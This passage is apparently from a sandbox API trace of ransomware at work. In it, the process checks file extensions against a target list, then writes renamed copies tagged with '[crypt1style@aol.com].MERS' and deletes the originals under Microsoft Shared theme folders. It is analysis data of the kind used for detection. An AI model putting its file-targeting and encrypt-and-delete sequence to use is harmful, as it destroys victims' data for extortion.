(lpString1=".xls", lpString2=".PNG") returned 1 [0049.799] lstrlenW (lpString=".xlsx") returned 5 [0049.799] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.799] lstrlenW (lpString=".ppt") returned 4 [0049.799] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0049.799] lstrlenW (lpString=".zip") returned 4 [0049.799] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.799] lstrlenW (lpString=".rar") returned 4 [0049.799] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.799] lstrlenW (lpString=".bz2") returned 4 [0049.799] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.799] lstrlenW (lpString=".7z") returned 3 [0049.799] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0049.799] lstrlenW (lpString=".dbf") returned 4 [0049.799] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0049.799] lstrlenW (lpString=".1cd") returned 4 [0049.799] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0049.799] lstrlenW (lpString=".jpg") returned 4 [0049.799] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0049.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0049.800] lstrlenW (lpString=".doc") returned 4 [0049.800] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.800] lstrlenW (lpString=".docx") returned 5 [0049.800] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.800] lstrlenW (lpString=".pdf") returned 4 [0049.800] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.800] lstrlenW (lpString=".xls") returned 4 [0049.800] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.800] lstrlenW (lpString=".xlsx") returned 5 [0049.800] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.800] lstrlenW (lpString=".ppt") returned 4 [0049.800] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0049.800] lstrlenW (lpString=".zip") returned 4 [0049.800] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.800] lstrlenW (lpString=".rar") returned 4 [0049.800] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.800] lstrlenW (lpString=".bz2") returned 4 [0049.800] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.800] lstrlenW (lpString=".7z") returned 3 [0049.800] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0049.800] lstrlenW (lpString=".dbf") returned 4 [0049.800] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0049.800] lstrlenW (lpString=".1cd") returned 4 [0049.800] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0049.800] lstrlenW (lpString=".jpg") returned 4 [0049.800] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.800] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0049.801] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0049.801] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=19563) returned 1 [0049.801] CloseHandle (hObject=0x17c) returned 1 [0049.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 0x20 [0049.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0049.802] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.802] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0049.850] GetLastError () returned 0x0 [0049.850] ReadFile (in: hFile=0x17c, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x4c6b, lpOverlapped=0x0) returned 1 [0049.892] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x4c70, lpOverlapped=0x0) returned 1 [0049.893] ReadFile (in: hFile=0x17c, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.893] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.893] SetEndOfFile (hFile=0x1f8) returned 1 [0049.893] CloseHandle (hObject=0x1f8) returned 1 [0049.893] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.893] SetEndOfFile (hFile=0x17c) returned 1 [0049.894] CloseHandle (hObject=0x17c) returned 1 [0049.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0049.894] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 1 [0049.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0049.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0049.895] lstrlenW (lpString=".doc") returned 4 [0049.895] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.895] lstrlenW (lpString=".docx") returned 5 [0049.895] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.895] lstrlenW (lpString=".pdf") returned 4 [0049.895] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.895] lstrlenW (lpString=".xls") returned 4 [0049.895] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.895] lstrlenW (lpString=".xlsx") returned 5 [0049.895] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.895] lstrlenW (lpString=".ppt") returned 4 [0049.895] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0049.895] lstrlenW (lpString=".zip") returned 4 [0049.895] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.895] lstrlenW (lpString=".rar") returned 4 [0049.895] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.895] lstrlenW (lpString=".bz2") returned 4 [0049.895] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.895] lstrlenW (lpString=".7z") returned 3 [0049.895] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0049.896] lstrlenW (lpString=".dbf") returned 4 [0049.896] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0049.896] lstrlenW (lpString=".1cd") returned 4 [0049.896] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0049.896] lstrlenW (lpString=".jpg") returned 4 [0049.896] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0049.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0049.896] lstrlenW (lpString=".doc") returned 4 [0049.896] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.896] lstrlenW (lpString=".docx") returned 5 [0049.896] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.896] lstrlenW (lpString=".pdf") returned 4 [0049.896] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.896] lstrlenW (lpString=".xls") returned 4 [0049.896] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.896] lstrlenW (lpString=".xlsx") returned 5 [0049.896] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.896] lstrlenW (lpString=".ppt") returned 4 [0049.896] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0049.896] lstrlenW (lpString=".zip") returned 4 [0049.896] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.896] lstrlenW (lpString=".rar") returned 4 [0049.896] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.896] lstrlenW (lpString=".bz2") returned 4 [0049.896] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.896] lstrlenW (lpString=".7z") returned 3 [0049.896] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0049.896] lstrlenW (lpString=".dbf") returned 4 [0049.896] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0049.897] lstrlenW (lpString=".1cd") returned 4 [0049.897] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0049.897] lstrlenW (lpString=".jpg") returned 4 [0049.897] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.897] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0049.897] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0049.897] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=3970) returned 1 [0049.897] CloseHandle (hObject=0x17c) returned 1 [0049.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 0x20 [0049.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0049.898] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.898] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.986] GetLastError () returned 0x0 [0049.986] ReadFile (in: hFile=0x17c, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0xf82, lpOverlapped=0x0) returned 1 [0050.086] WriteFile (in: hFile=0x20c, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xf90, lpOverlapped=0x0) returned 1 [0050.087] ReadFile (in: hFile=0x17c, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.087] WriteFile (in: hFile=0x20c, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.087] SetEndOfFile (hFile=0x20c) returned 1 [0050.087] CloseHandle (hObject=0x20c) returned 1 [0050.087] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.087] SetEndOfFile (hFile=0x17c) returned 1 [0050.088] CloseHandle (hObject=0x17c) returned 1 [0050.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.088] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 1 [0050.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0050.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0050.088] lstrlenW (lpString=".doc") returned 4 [0050.088] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.088] lstrlenW (lpString=".docx") returned 5 [0050.089] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.089] lstrlenW (lpString=".pdf") returned 4 [0050.089] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.089] lstrlenW (lpString=".xls") returned 4 [0050.089] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.089] lstrlenW (lpString=".xlsx") returned 5 [0050.089] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.089] lstrlenW (lpString=".ppt") returned 4 [0050.089] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0050.089] lstrlenW (lpString=".zip") returned 4 [0050.089] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.089] lstrlenW (lpString=".rar") returned 4 [0050.089] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.089] lstrlenW (lpString=".bz2") returned 4 [0050.089] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.089] lstrlenW (lpString=".7z") returned 3 [0050.089] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0050.089] lstrlenW (lpString=".dbf") returned 4 [0050.089] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0050.089] lstrlenW (lpString=".1cd") returned 4 [0050.089] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0050.089] lstrlenW (lpString=".jpg") returned 4 [0050.089] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0050.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0050.089] lstrlenW (lpString=".doc") returned 4 [0050.089] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.089] lstrlenW (lpString=".docx") returned 5 [0050.089] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.089] lstrlenW (lpString=".pdf") returned 4 [0050.089] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.089] lstrlenW (lpString=".xls") returned 4 [0050.090] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.090] lstrlenW (lpString=".xlsx") returned 5 [0050.090] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.090] lstrlenW (lpString=".ppt") returned 4 [0050.090] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0050.090] lstrlenW (lpString=".zip") returned 4 [0050.090] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.090] lstrlenW (lpString=".rar") returned 4 [0050.090] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.090] lstrlenW (lpString=".bz2") returned 4 [0050.090] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.090] lstrlenW (lpString=".7z") returned 3 [0050.090] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0050.090] lstrlenW (lpString=".dbf") returned 4 [0050.090] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0050.090] lstrlenW (lpString=".1cd") returned 4 [0050.090] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0050.090] lstrlenW (lpString=".jpg") returned 4 [0050.090] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.090] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0050.090] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0050.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.091] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=47962) returned 1 [0050.091] CloseHandle (hObject=0x17c) returned 1 [0050.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 0x20 [0050.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0050.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.092] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.092] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.092] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.092] GetLastError () returned 0x0 [0050.092] ReadFile (in: hFile=0x17c, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0xbb5a, lpOverlapped=0x0) returned 1 [0050.280] WriteFile (in: hFile=0x20c, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xbb60, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xbb60, lpOverlapped=0x0) returned 1 [0050.281] ReadFile (in: hFile=0x17c, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.281] WriteFile (in: hFile=0x20c, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.281] SetEndOfFile (hFile=0x20c) returned 1 [0050.281] CloseHandle (hObject=0x20c) returned 1 [0050.282] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.282] SetEndOfFile (hFile=0x17c) returned 1 [0050.282] CloseHandle (hObject=0x17c) returned 1 [0050.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.283] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 1 [0050.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0050.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0050.283] lstrlenW (lpString=".doc") returned 4 [0050.283] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.283] lstrlenW (lpString=".docx") returned 5 [0050.283] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.283] lstrlenW (lpString=".pdf") returned 4 [0050.283] lstrcmpiW (lpString1=".pdf", 